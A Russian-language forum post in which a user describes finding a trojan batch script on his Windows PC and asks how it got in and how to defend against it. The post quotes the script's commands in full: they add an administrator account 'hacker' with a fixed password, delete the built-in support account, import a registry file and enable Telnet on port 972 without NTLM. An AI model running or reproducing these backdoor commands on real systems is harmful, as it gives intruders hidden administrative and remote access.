stalkerFAN

Всем привет!
Вопщем сегодня загрузил комп и увидел:учётка винды под названием hacker с паролем а админа нет.
через безопасный режим удалил пасс и загрузился в винду.
и там увидел прям на раб столе оч интересный троянчик
вот его код:
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
regedit /s conf.reg
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet
смысл понятен даже простому юзеру.
Но вот вам вопрос-как трой проник в винду и запустился если я всегда закрываю порты компа.(видимо это произошло ночью когда я ставил комп на закачку),программы удалённого управления я не использую,и у меня внутренний айпи.
КАК ЗАЩИТИТСЯ?????